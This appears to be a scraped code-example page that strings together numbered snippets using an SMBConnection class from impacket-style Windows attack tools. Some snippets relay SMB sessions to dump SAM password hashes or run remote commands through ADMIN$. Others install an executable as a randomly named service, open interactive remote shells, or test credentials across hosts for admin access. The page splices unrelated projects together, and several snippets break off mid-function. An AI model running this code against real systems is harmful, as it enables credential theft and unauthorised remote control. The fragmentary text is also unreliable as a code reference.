Beispiel #1
9
    def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
        try:
            smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
        except Exception as exc:
            LOG.debug("SMB connection to %r on port 445 failed,"
                      " trying port 139 (%s)", host, exc)

            try:
                smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
            except Exception as exc:
                LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
                          host, exc)
                return None, None

        dialect = {SMB_DIALECT: "SMBv1",
                   SMB2_DIALECT_002: "SMBv2.0",
                   SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")

        # we know this should work because the WMI connection worked
        try:
            smb.login(username, password, '', lm_hash, ntlm_hash)
        except Exception as exc:
            LOG.debug("Error while logging into %r using user: %s, password: '******', LM hash: %s, NTLM hash: %s: %s",
                      host, username, password, lm_hash, ntlm_hash, exc)
            return None, dialect

        smb.setTimeout(timeout)
        return smb, dialect
Beispiel #2
0
class SMBAttack(Thread):
    def __init__(self, config, SMBClient, exeFile, command):
        Thread.__init__(self)
        self.daemon = True
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.config = config
        self.__exeFile = exeFile
        self.__command = command
        self.__answerTMP = ''
        if exeFile is not None:
            self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.__command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.__command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Beispiel #3
0
class Pipes(Thread):
    def __init__(self, transport, pipe, permissions, share=None):
        Thread.__init__(self)
        self.server = 0
        self.transport = transport
        self.credentials = transport.get_credentials()
        self.tid = 0
        self.fid = 0
        self.share = share
        self.port = transport.get_dport()
        self.pipe = pipe
        self.permissions = permissions
        self.daemon = True

    def connectPipe(self):
        try:
            lock.acquire()
            global dialect
            #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
            self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = dialect)
            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
            if self.transport.get_kerberos() is True:
                self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
            else:
                self.server.login(user, passwd, domain, lm, nt)
            lock.release()
            self.tid = self.server.connectTree('IPC$')

            self.server.waitNamedPipe(self.tid, self.pipe)
            self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
            self.server.setTimeout(1000000)
        except:
            logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
    def initConnection(self):
        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
                                     #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
                                                  flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
                             flags2=flags2, data=data)
        except socketerror as e:
            if 'reset by peer' in str(e):
                if not self.serverConfig.smb2support:
                    LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
                else:
                    LOG.error('SMBCLient error: Connection was reset')
            else:
                LOG.error('SMBCLient error: %s' % str(e))
            return False
        if packet[0:1] == b'\xfe':
            smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)

        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
                                     existingConnection=smbClient, manualNegotiate=True)

        return True
Beispiel #5
0
 def create_connection(self):
     if self.dialects == smb.SMB_DIALECT:
         # Only for SMB1 let's do manualNego
         s = SMBConnection('*SMBSERVER', self.machine, preferredDialect = self.dialects, manualNegotiate=True)
         s.negotiateSession(self.dialects, flags2=self.flags2)
     else:
         s = SMBConnection('*SMBSERVER', self.machine, preferredDialect = self.dialects)
     return s
Beispiel #6
0
 def create_connection(self):
     if self.dialects == smb.SMB_DIALECT:
         # Only for SMB1 let's do manualNego
         s = SMBConnection(self.serverName, self.machine, preferredDialect = self.dialects, sess_port = self.sessPort, manualNegotiate=True)
         s.negotiateSession(self.dialects, flags2=self.flags2)
     else:
         s = SMBConnection(self.serverName, self.machine, preferredDialect = self.dialects, sess_port = self.sessPort)
     return s
Beispiel #7
0
 def setup_smb_connection(self):
     if not self.__smb_connection:
         if self.__remote_name == '':
             if self.get_dport() == nmb.NETBIOS_SESSION_PORT:
                 self.__smb_connection = SMBConnection('*SMBSERVER', self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
             else:
                 self.__smb_connection = SMBConnection(self.get_dip(), self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
         else:
             self.__smb_connection = SMBConnection(self.__remote_name, self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
Beispiel #8
0
    def test_NT_logon(self):
        """
        Test NTLM logon with NT hash
        """
        creds = copy.deepcopy(self.creds)
        creds.password = None
        creds.lm_hash = None

        smb_client = SMBConnection(testtarget)
        smb_client.autologin(creds)
Beispiel #9
0
    def test_plaintext_logon(self):
        """
        Test NTLM logon using plaintext
        """
        creds = copy.deepcopy(self.creds)
        creds.lm_hash = None
        creds.nt_hash = None

        smb_client = SMBConnection(testtarget)
        smb_client.autologin(creds)
Beispiel #10
0
class RegHandler:
    def __init__(self, username, password, domain, options):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__options = options
        self.__action = options.action.upper()
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__doKerberos = options.k
        self.__kdcHost = options.dc_ip
        self.__smbConnection = None
        self.__remoteOps = None

        # It's possible that this is defined somewhere, but I couldn't find where
        self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD',
                            5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'}

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')

    def connect(self, remoteName, remoteHost):
        self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))

        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                               self.__nthash, self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

    def run(self, remoteName, remoteHost):
        self.connect(remoteName, remoteHost)
        self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)

        try:
            self.__remoteOps.enableRegistry()
        except Exception, e:
            print str(e)
            logging.warning('Cannot check RemoteRegistry status. Hoping it is started...')
            logging.debug(str(e))
            self.__remoteOps.connectWinReg()

        try:
            dce = self.__remoteOps.getRRP()

            if self.__action == 'QUERY':
                self.query(dce, self.__options.keyName)
            else:
                logging.error('Method %s not implemented yet!' % self.__action)
        except (Exception, KeyboardInterrupt), e:
            #import traceback
            #traceback.print_exc()
            logging.critical(str(e))
 def connect_to_server(ip, credentials):
     """
     Connects to server using given credentials
     :param ip:          IP of server
     :param credentials: credentials to log in with
     :return:            SMBConnection object representing the connection
     """
     smb_client = SMBConnection(ip, ip)
     smb_client.login(
         credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
     return smb_client
Beispiel #12
0
class RemoteShell(cmd.Cmd):
    def __init__(self, server, port, credentials, tid, fid, TGS, share):
        cmd.Cmd.__init__(self, False)
        self.prompt = '\x08'
        self.server = server
        self.transferClient = None
        self.tid = tid
        self.fid = fid
        self.credentials = credentials
        self.share = share
        self.port = port
        self.TGS = TGS
        self.intro = '[!] Press help for extra shell commands'

    def connect_transferClient(self):
        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
                                            preferredDialect=dialect)
        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
        self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)

    def do_help(self, line):
        print """
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
 ! {cmd}                    - executes a local shell cmd
""" % (self.share, self.share)
        self.send_data('\r\n', False)

    def do_shell(self, s):
        os.system(s)
        self.send_data('\r\n')

    def do_get(self, src_path):
        try:
            if self.transferClient is None:
                self.connect_transferClient()

            import ntpath
            filename = ntpath.basename(src_path)
            fh = open(filename,'wb')
            logging.info("Downloading %s\%s" % (self.share, src_path))
            self.transferClient.getFile(self.share, src_path, fh.write)
            fh.close()
        except Exception, e:
            logging.error(str(e))
            pass

        self.send_data('\r\n')
Beispiel #13
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
            iWbemLevel1Login.RemRelease()

            win32Process,_ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()
Beispiel #14
0
class ServiceInstall:
    def __init__(self, SMBObject, exeFile, serviceName=''):
        self._rpctransport = 0
        self.__service_name = serviceName if len(serviceName) > 0  else  ''.join([random.choice(string.letters) for i in range(4)])
        self.__binary_service_name = ''.join([random.choice(string.letters) for i in range(8)]) + '.exe'
        self.__exeFile = exeFile

        # We might receive two different types of objects, always end up
        # with a SMBConnection one
        if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):
            self.connection = SMBConnection(existingConnection = SMBObject)
        else:
            self.connection = SMBObject

        self.share = ''
 
    def getShare(self):
        return self.share

    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost()))
        try: 
            self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(),
                                                        self.connection.getRemoteHost(),filename = r'\srvsvc',
                                                        smb_connection = self.connection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost()))
            raise

        
    def createService(self, handle, share, path):
        LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost()))

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp =  scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00')
        except Exception, e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
                # We're good, pass the exception
                pass
            else:
                raise e
        else:
Beispiel #15
0
    def test_TGS_logon(self):
        """
        Test Kerberos logon with using TGS ticket
        """
        creds = copy.deepcopy(self.creds)
        creds.plaintext = None
        creds.kerberos_key_rc4 = None
        creds.kerberos_key_des = None
        creds.kerberos_key_aes_128 = None
        creds.kerberos_key_aes_256 = None
        creds.kerberos_tgt_ticket = None
        creds.kerberos_ccache_file_name = None

        smb_client = SMBConnection(testtarget)
        smb_client.autologin(creds)
Beispiel #16
0
    def test_plaintext_aes128_logon(self):
        """
        Test Kerberos logon with plaintext password using AES128 cipher
        """
        creds = copy.deepcopy(self.creds)
        creds.kerberos_key_rc4 = None
        creds.kerberos_key_des = None
        creds.kerberos_key_aes_256 = None
        creds.kerberos_key_aes_128 = None
        creds.kerberos_tgt_ticket = None
        creds.kerberos_tgs_ticket = None
        creds.kerberos_ccache_file_name = None

        smb_client = SMBConnection(testtarget)
        smb_client.autologin(creds)
 def connect(self):
     self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
     if self.__doKerberos:
         self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, self.__kdcHost)
     else:
         self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
Beispiel #18
0
class doAttack(Thread):
    def __init__(self, SMBClient, exeFile, command):
        Thread.__init__(self)

        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
        else:
            self.__SMBConnection = SMBClient

        self.__exeFile = exeFile
        self.__command = command
        if exeFile is not None:
            self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)


    def run(self):
        # Here PUT YOUR CODE!
        if self.__exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            remoteOps = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
                if self.__command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.__command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                else:
                    bootKey = remoteOps.getBootKey()
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Beispiel #19
0
def main():
    # Init the example's logger theme
    hostname = 'DCSERVER'
    ip = '192.168.9.1'
    port = 445


    domain = 'TEST.corp'
    username = '******'
    password = '******'
    nt_hash = ''
    lm_hash = ''
    kerberos_key_aes_256 = 'd3f3593c9debec0be8db57b160f6b0f0c82fb4c0e5dcaa1e1e26ceddcfd05f60'
    kerberos_key_aes_128 = 'fa021d1bf218a731bad4c19b5bcaae8c'
    kerberos_key_des = 'b3644f0d983dd058'
    kerberos_key_rc4 = None
    #kerberos_tgt_ticket = None
    #kerberos_tgs_ticket = None
    #kerberos_ccache_file_name = None
    #force_kerberos = False
    #kerberos_ccache_file = None

    target = SMBTarget()
    target.ip = ip
    target.hostname = hostname
    target.port = port

    creds = SMBCredential()
    creds.domain = domain
    creds.username = username
    creds.password = password
    creds.nt_hash = nt_hash
    creds.lm_hash = lm_hash
    creds.kerberos_key_aes_256 = kerberos_key_aes_256
    creds.kerberos_key_aes_128 = kerberos_key_aes_128
    creds.kerberos_key_des = kerberos_key_des
    creds.kerberos_key_rc4 = nt_hash

    try:
        smb_client = SMBConnection(target, sess_port=target.port)
        smb_client.autologin(target, creds)
    except Exception as e:
        traceback.print_exc()
        print('Failed to log in!')

    print('PASSED FIRST login')
Beispiel #20
0
    def connect(self, remoteName, remoteHost):
        self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))

        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                               self.__nthash, self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
Beispiel #21
0
 def setup_smb_connection(self):
     if not self.__smb_connection:
         self.__smb_connection = SMBConnection(
             self.getRemoteName(),
             self.getRemoteHost(),
             sess_port=self.get_dport(),
             preferredDialect=self.__prefDialect,
         )
Beispiel #22
0
 def connect_transferClient(self):
     #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
     self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = dialect)
     user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
     if self.transport.get_kerberos() is True:
         self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
     else:
         self.transferClient.login(user, passwd, domain, lm, nt)
Beispiel #23
0
    def enum_host_info(self):
        try:
            smb_conn = SMBConnection(self.host, self.host, None)
            try:
                smb_conn.login('', '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.domain = smb_conn.getServerDomain()
            self.hostname = smb_conn.getServerName()

            self.logger.extra['hostname'] = self.hostname

            try:
                smb_conn.logoff()
            except:
                pass

        except Exception as e:
            logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))

        if self.args.domain:
            self.domain = self.args.domain

        if self.args.local_auth:
            self.domain = self.hostname
Beispiel #24
0
    def get_gpttmpl(self, gpttmpl_path):
        content_io = StringIO()

        gpttmpl_path_split = gpttmpl_path.split('\\')
        target = gpttmpl_path_split[2]
        share = gpttmpl_path_split[3]
        file_name = '\\'.join(gpttmpl_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        # TODO: kerberos login
        smb_connection.login(self._user, self._password, self._domain,
                             self._lmhash, self._nthash)

        smb_connection.connectTree(share)
        smb_connection.getFile(share, file_name, content_io.write)

        try:
            content = codecs.decode(content_io.getvalue(), 'utf_16_le')[1:].replace('\r', '')
        except UnicodeDecodeError:
            content = content_io.getvalue().replace('\r', '')

        gpttmpl_final = GptTmpl(list())
        for l in content.split('\n'):
            if l.startswith('['):
                section_name = l.strip('[]').replace(' ', '').lower()
                setattr(gpttmpl_final, section_name, Policy(list()))
            elif '=' in l:
                property_name, property_values = [x.strip() for x in l.split('=')]
                if ',' in property_values:
                    property_values = property_values.split(',')
                setattr(getattr(gpttmpl_final, section_name), property_name, property_values)

        return gpttmpl_final
Beispiel #25
0
 def getMachineName(self):
     if self.__kdcHost is not None:
         s = SMBConnection(self.__kdcHost, self.__kdcHost)
     else:
         s = SMBConnection(self.__domain, self.__domain)
     try:
         s.login('', '')
     except Exception:
         if s.getServerName() == '':
             raise('Error while anonymous logging into %s' % self.__domain)
     else:
         s.logoff()
     return s.getServerName()
Beispiel #26
0
    def __init__(self, SMBClient, exeFile):
        Thread.__init__(self)

        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
        else:
            self.__SMBConnection = SMBClient

        self.__exeFile = exeFile
        if exeFile is not None:
            self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
Beispiel #27
0
 def getMachineName(self):
     if self.__kdcHost is not None and self.__targetDomain == self.__domain:
         s = SMBConnection(self.__kdcHost, self.__kdcHost)
     else:
         s = SMBConnection(self.__targetDomain, self.__targetDomain)
     try:
         s.login('', '')
     except Exception:
         if s.getServerName() == '':
             raise 'Error while anonymous logging into %s'
     else:
         try:
             s.logoff()
         except Exception:
             # We don't care about exceptions here as we already have the required
             # information. This also works around the current SMB3 bug
             pass
     return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
Beispiel #28
0
class doAttack():
# class doAttack(Thread):

	def __init__(self, SMBClient, command):
		# Thread.__init__(self)
		
		self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
		self.__command = command
		self.__answerTMP = ''

	def __answer(self, data):
		self.__answerTMP += data

	def run(self):
		samHashes = None
		try:
			# We have to add some flags just in case the original client did not
			# Why? needed for avoiding INVALID_PARAMETER
			flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
			flags2 |= SMB.FLAGS2_LONG_NAMES
			self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

			remoteOps  = RemoteOperations(self.__SMBConnection, False)
			remoteOps.enableRegistry()
		except Exception, e:
			# Something wen't wrong, most probably we don't have access as admin. aborting
			print str(e)
			return False

		try:
			remoteOps._RemoteOperations__executeRemote(self.__command)
			# print "Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost()
			self.__answerTMP = ''
			self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
			self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')

		except Exception, e:
			print str(e)
			self.__answerTMP = 'ERROR'
Beispiel #29
0
 def __init__(self, config, SMBClient, exeFile, command):
     Thread.__init__(self)
     self.daemon = True
     if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
         self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
     else:
         self.__SMBConnection = SMBClient
     self.config = config
     self.__exeFile = exeFile
     self.__command = command
     self.__answerTMP = ''
     if exeFile is not None:
         self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
Beispiel #30
0
    def __init__(self, SMBObject, exeFile, serviceName=''):
        self._rpctransport = 0
        self.__service_name = serviceName if len(serviceName) > 0  else  ''.join([random.choice(string.letters) for i in range(4)])
        self.__binary_service_name = ''.join([random.choice(string.letters) for i in range(8)]) + '.exe'
        self.__exeFile = exeFile

        # We might receive two different types of objects, always end up
        # with a SMBConnection one
        if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):
            self.connection = SMBConnection(existingConnection = SMBObject)
        else:
            self.connection = SMBObject

        self.share = ''
Beispiel #31
0
class RemoteShell(cmd.Cmd):
    def __init__(self, server, port, credentials, tid, fid, share, transport):
        cmd.Cmd.__init__(self, False)
        self.prompt = '\x08'
        self.server = server
        self.transferClient = None
        self.tid = tid
        self.fid = fid
        self.credentials = credentials
        self.share = share
        self.port = port
        self.transport = transport
        self.intro = '[!] Press help for extra shell commands'

    def connect_transferClient(self):
        #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
                                            preferredDialect=dialect)
        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
        if self.transport.get_kerberos() is True:
            self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,
                                              kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
        else:
            self.transferClient.login(user, passwd, domain, lm, nt)

    def do_help(self, line):
        print("""
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 lput {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 lget {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir
 ! {cmd}                    - executes a local shell cmd
""" % (self.share, self.share))
        self.send_data('\r\n', False)

    def do_shell(self, s):
        os.system(s)
        self.send_data('\r\n')

    def do_lget(self, src_path):
        try:
            if self.transferClient is None:
                self.connect_transferClient()

            import ntpath
            filename = ntpath.basename(src_path)
            fh = open(filename,'wb')
            logging.info("Downloading %s\\%s" % (self.share, src_path))
            self.transferClient.getFile(self.share, src_path, fh.write)
            fh.close()
        except Exception as e:
            logging.critical(str(e))
            pass

        self.send_data('\r\n')

    def do_lput(self, s):
        try:
            if self.transferClient is None:
                self.connect_transferClient()
            params = s.split(' ')
            if len(params) > 1:
                src_path = params[0]
                dst_path = params[1]
            elif len(params) == 1:
                src_path = params[0]
                dst_path = '/'

            src_file = os.path.basename(src_path)
            fh = open(src_path, 'rb')
            f = dst_path + '/' + src_file
            pathname = f.replace('/','\\')
            logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path))
            self.transferClient.putFile(self.share, pathname, fh.read)
            fh.close()
        except Exception as e:
            logging.error(str(e))
            pass

        self.send_data('\r\n')

    def do_lcd(self, s):
        if s == '':
            print(os.getcwd())
        else:
            os.chdir(s)
        self.send_data('\r\n')

    def emptyline(self):
        self.send_data('\r\n')
        return

    def default(self, line):
        self.send_data(line.encode(CODEC)+b'\r\n')

    def send_data(self, data, hideOutput = True):
        if hideOutput is True:
            global LastDataSent
            LastDataSent = data
        else:
            LastDataSent = ''
        self.server.writeFile(self.tid, self.fid, data)
Beispiel #32
0
def login(host, args):
    try:
        smbconn = SMBConnection(host, host,
                                timeout=args.timeout)  # throws socket.error
    except Exception as e:
        sys.stdout.write('{} {}\\{} {}\n'.format(
            host, args.domain, args.username + ':' + args.password,
            'ConnectionError'))
        return

    error_code = STATUS_SUCCESS
    try:
        if args.nthash:
            smbconn.login(args.username,
                          '',
                          nthash=args.password,
                          domain=args.domain)
        elif args.lmhash:
            smbconn.login(args.username,
                          '',
                          lmhash=args.password,
                          domain=args.domain)
        else:
            smbconn.login(args.username, args.password, domain=args.domain)
    except impacket.smbconnection.SessionError as e:
        error_code = e.getErrorCode()

    if error_code != STATUS_SUCCESS:
        status = 'LoginError'
        if error_code == STATUS_LOGON_FAILURE:
            status = 'Failure'
            if args.domain != '.' and smbconn.getServerDomain() != '':
                sys.stdout.write('{} {}\\{} {}\n'.format(
                    host, args.domain, args.username + ':' + args.password,
                    status))
                raise DomainLoginError(
                    'Aborting: domain creds are invalid, preventing lockout')
        sys.stdout.write('{} {}\\{} {}\n'.format(
            host, args.domain, args.username + ':' + args.password, status))
        return

    try:
        # for s in smbconn.listShares():
        #     print(s['shi1_netname'][:-1])
        smbconn.connectTree(r'ADMIN$')
        status = 'Success:ADMIN'
    except Exception as e:
        error_code = e.getErrorCode()

    if error_code != STATUS_SUCCESS:
        status = 'ConnectTreeError ' + hex(error_code)
        if smbconn.isGuestSession():
            status = 'Guest'
        elif error_code == STATUS_ACCESS_DENIED:
            status = 'Success'
        elif error_code == STATUS_BAD_NETWORK_NAME:
            # ADMIN$ doesn't exist, probably Samba
            status = 'ShareNameError'

    sys.stdout.write('{} {}\\{} {}\n'.format(
        host, args.domain, args.username + ':' + args.password, status))
    try:
        smbconn.logoff()
    except:
        pass
Beispiel #33
0
    def initConnection(self):
        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     manualNegotiate=True)
        #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

